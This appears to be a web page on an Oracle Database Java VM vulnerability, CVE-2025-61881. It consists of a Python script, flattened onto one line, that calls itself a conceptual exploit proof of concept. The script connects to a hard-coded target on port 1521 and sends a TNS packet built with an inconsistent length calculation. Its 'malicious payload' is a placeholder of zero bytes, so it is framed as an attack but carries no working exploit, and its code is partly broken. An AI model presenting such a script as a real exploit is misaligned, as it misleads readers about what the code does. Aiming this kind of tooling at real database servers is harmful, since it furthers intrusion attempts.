Oracle数据库Java VM组件安全漏洞(CVE-2025-61881)

# CVE-2025-61881 Oracle Database Java VM Exploit PoC (Conceptual) # WARNING: This is a conceptual proof-of-concept for educational purposes only. # Oracle Java VM component vulnerability allowing unauthorized data modification. import socket import struct # Oracle Net protocol constants ORACLE_NET_PORT = 1521 TNS_CONNECT = 1 TNS_DATA = 2 def build_tns_packet(data, packet_type=TNS_DATA): """Build a basic TNS (Transparent Network Substrate) packet""" # TNS packet header: length(2) + checksum(2) + type(1) + flags(1) + header_chksum(2) header = struct.pack('>HHBBh', len(data) + 10, # packet length 0, # checksum (0 = no checksum) packet_type, # packet type 0, # flags 0) # header checksum return header + data def exploit_java_vm(target_host, target_port=ORACLE_NET_PORT): """ Conceptual exploit for CVE-2025-61881. Targets the Java VM component via Oracle Net protocol. """ try: # Step 1: Establish Oracle Net connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Step 2: Send TNS connect packet connect_data = b'\x00\x00\x00\x01' # Connect version sock.send(build_tns_packet(connect_data, TNS_CONNECT)) # Step 3: Receive connect response response = sock.recv(4096) # Step 4: Craft malicious Java VM request # The exact payload depends on the specific vulnerable code path # in the Java VM component's request handler. # Attack complexity is HIGH (AC:H), meaning specific conditions # must be met for successful exploitation. malicious_payload = b'\x00' * 256 # Placeholder for crafted payload sock.send(build_tns_packet(malicious_payload, TNS_DATA)) # Step 5: Process response result = sock.recv(4096) print(f"[*] Response received: {len(result)} bytes") sock.close() return True except Exception as e: print(f"[-] Exploit failed: {e}") return False if __name__ == "__main__": target = "192.168.1.100" # Replace with target Oracle DB host print(f"[*] Targeting Oracle Database Java VM at {target}") print(f"[*] CVE-2025-61881 - Oracle Java VM Integrity Vulnerability") print(f"[*] CVSS 3.1: 5.9 (MEDIUM) - Integrity Impact: HIGH") exploit_java_vm(target)